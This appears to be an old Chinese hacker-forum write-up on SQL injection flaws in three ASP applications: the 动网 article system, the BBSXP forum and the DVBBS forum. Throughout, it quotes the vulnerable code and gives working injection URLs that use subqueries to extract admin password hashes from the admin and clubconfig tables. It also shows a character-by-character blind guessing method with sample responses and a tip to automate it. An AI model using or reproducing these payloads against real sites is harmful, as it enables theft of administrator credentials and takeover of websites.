一:动网文章
涉及版本: ^^^^^^^^^^ 动网文章所有版本
描述: 动网文章是一款由WWW.ASPSKY.NET开发和维护的源代码开放的文章管理系统,在国内使用非常广泛;由于其list.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。
具体: 试看list.asp中的相关代码: 15 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid
from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.
Nclassid and article.articleID="&request("id")
id没有经任何检查就直接放到SQL查询中,这点大家都很容易看出来,但说到利用,一些朋友就可是犯难了:这个语句对应的表是 article ,但管理密码在 admin 表里面,ACCESS又不能执行多语句查询,这个bug有什么用啊?呵呵,我们使用子查询不就得了,方法好多哦:
http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 ;and exists(select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 ;and article.articleID in (select top 1 id from adminwhere len(password)>1 order by id) 等等...
怎么得到管理员密码就不用我废话了吧:)
二:BBSXP
涉及版本: ^^^^^^^^^^ BBSXP所有版本
描述: ^^^^^^ BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。
具体: ^^^^^^ 前不久我写了篇关于BBSXP漏洞的文章,作者简单的把论坛升了级,但仍然没有全面解决Sql Injection的问题,比如说: bank.asp -------- 152 sql="select * from user where username='"&request("dxname")&"'" 153 rs1.Open sql,Conn,1,3 154 if rs1.eof then 155 message=message&"
查无此人的账号!" 156 end if ------- 拿user表中所有用户密码没问题了,但又有人开始嘀咕了:BBSXP后台管理密码和论坛前台密码不同,怎么办啊?后台密码存放在 clubconfig 表中,还是和上面利用方法一样,使用子查询嘛。还给个例子吧: searchok.asp ---------- forumid=Request("forumid") ... 21 if Request("forumid")<>"" then 22 forumidor="forumid="&forumid&" and" end if ... sql="select * from forum
where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&" order by lasttime Desc " ... ------ 提交类似如下URL(最好写个小代码发送这个请求):http://www.target.com/bbsxp165/bbsxp/searchok.asp?search=author&searchxm=username&forumid=(select count (administrators) from clubconfig where len(adminpassword)>1) 瞧,我们这不是开始对 clubconfig 表进行查询了吗?
三:动网论坛(DVBBS)存在严重漏洞(补充)这个漏洞我公布后,就有好多朋友给我写信,有的问怎么破解MD5(有破解的必要吗?)、有的要测试代码、还有的要我做个动画...同时也有人说后台管理密码和论坛前台密码不同,怎么拿后台的?我猜这些朋友自己没怎么思考,思考应该是种很美的享受吧?我补充下怎么拿后台MD5加密的管理密码:
http://www.target.com/dv/tongji.asp?orders=2&n=2 ;(select max(id) from admin), 返回: ---------document.write('□');document.write('9');document.write(' ');document.write('□');document.write('9');document.write(' '); ---------
http://www.target.com/dv/tongji.asp?orders=2&n=2 ;(select max(id) from admin where left(password,1)='a'), 返回: --------------------- document.write('□');document.write('');document.write(' ');document.write('□');document.write('');document.write(' '); --------- 啊,为空,我们猜错了,再来:
http://www.target.com/dv/tongji.asp?orders=2&n=2 (select max (id) from admin where left(password,1)='d'), 返回: ------------------------- document.write('□');document.write('9');document.write(' ');document.write('□');document.write('9');document.write(' '); ----------------- 这下猜对了。接下来由你继续,当然,你可以把我以前写的那个小程序稍微修改后再放到这里使用!
不过我要提醒你,DVBBS后台管理文件是cookie session双重认证哦!
后记:我到一个原代码下载站随机down了一些程序,包括论坛、留言本、文章下载管理...发现都存在类似的问题。其实只要我们谨慎点,问题就不会出现了!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~当我们猜测到表名,和password列名时,提交这样的请求http://www.target.com/asp/darticle/list.asp?id=(select min(id)from admin where left(password,1)='c' and id=1)时候,如果返回文章成功则表示password字段的第一个字母为c
但是我们需要一个一个地猜,好麻烦!利用这个程序可以解决这个问题。url,我们需要提交的url,like thishttp://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where left(password,1)='%c' and id=1)需要变化的字符用%c表示。特征字符串即能区别返回成功于否的标志,一般设为文章的标题。上面的猜测出来后(假设为r),我们就可以把url设为http://www.target.com/asp/darticle/list.asp?id=(select min(id)from admin where left(password,2)='r%c' and id=1)继续,得到password的第二个字符
如此,可以得到password
注意由于access数据库被访问过快时会短时间当掉,所以请控制好时间隔~~